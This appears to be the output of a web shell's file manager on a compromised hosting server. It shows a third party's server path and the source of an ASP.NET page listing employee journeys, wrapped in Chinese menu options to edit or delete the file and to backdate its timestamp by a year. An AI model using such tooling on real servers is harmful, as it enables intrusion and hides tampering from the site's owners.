文件操作 - Journeys.aspx
返回文件管理
返回主菜单
删除本文件
文件: E:\HostingSpaces\kimblycr\json.kimbly.in\wwwroot\Journeys.aspx
编辑文件内容
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Journeys.aspx.cs" Inherits="ConnectionsJSONService.Journeys" %> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"> <title></title> </head> <body> <form id="form1" runat="server"> <div> <asp:GridView ID="GridView1" runat="server" AutoGenerateColumns="False" CellPadding="4" DataKeyNames="ID" DataSourceID="SqlDataSource1" ForeColor="#333333" GridLines="None" style="font-family: Arial, Helvetica, sans-serif; font-size: small" Width="100%"> <AlternatingRowStyle BackColor="White" ForeColor="#284775" /> <Columns> <asp:HyperLinkField DataNavigateUrlFields="ID" DataNavigateUrlFormatString="JourneyDetails.aspx?ID={0}" DataTextField="ID" HeaderText="ID" /> <asp:BoundField DataField="FullName" HeaderText="FullName" SortExpression="FullName" /> <asp:BoundField DataField="StartDateTime" DataFormatString="{0:dd-MMM-yy}" HeaderText="StartDateTime" SortExpression="StartDateTime" /> <asp:BoundField DataField="EndDateTime" DataFormatString="{0:dd-MMM-yy}" HeaderText="EndDateTime" SortExpression="EndDateTime" /> <asp:BoundField DataField="StartAddress" HeaderText="StartAddress" SortExpression="StartAddress" /> <asp:BoundField DataField="EndAddress" HeaderText="EndAddress" SortExpression="EndAddress" /> <asp:BoundField DataField="Status" HeaderText="Status" SortExpression="Status" /> <asp:CheckBoxField DataField="Claimed" HeaderText="Claimed" SortExpression="Claimed" /> <asp:BoundField DataField="TotalDistance" HeaderText="TotalDistance" SortExpression="TotalDistance" /> <asp:BoundField DataField="PrimaryMode" HeaderText="PrimaryMode" SortExpression="PrimaryMode" /> </Columns> <EditRowStyle BackColor="#999999" /> <FooterStyle BackColor="#5D7B9D" Font-Bold="True" ForeColor="White" /> <HeaderStyle BackColor="#5D7B9D" Font-Bold="True" ForeColor="White" /> <PagerStyle BackColor="#284775" ForeColor="White" HorizontalAlign="Center" /> <RowStyle BackColor="#F7F6F3" ForeColor="#333333" /> <SelectedRowStyle BackColor="#E2DED6" Font-Bold="True" ForeColor="#333333" /> <SortedAscendingCellStyle BackColor="#E9E7E2" /> <SortedAscendingHeaderStyle BackColor="#506C8C" /> <SortedDescendingCellStyle BackColor="#FFFDF8" /> <SortedDescendingHeaderStyle BackColor="#6F8DAE" /> </asp:GridView> <asp:SqlDataSource ID="SqlDataSource1" runat="server" ConnectionString="<%$ ConnectionStrings:ApplicationServices %>" SelectCommand="Select j.ID, e.FullName,j.StartDateTime, j.EndDateTime, j.StartAddress,j.EndAddress,j.Status, j.Claimed, j.TotalDistance, j.PrimaryMode from Journeys j inner join CRMEmployees e on j.EmpID = e.ID order by j.ID"> </asp:SqlDataSource> </div> </form> </body> </html>
修改文件时间
将文件时间修改为当前时间的前一年
删除文件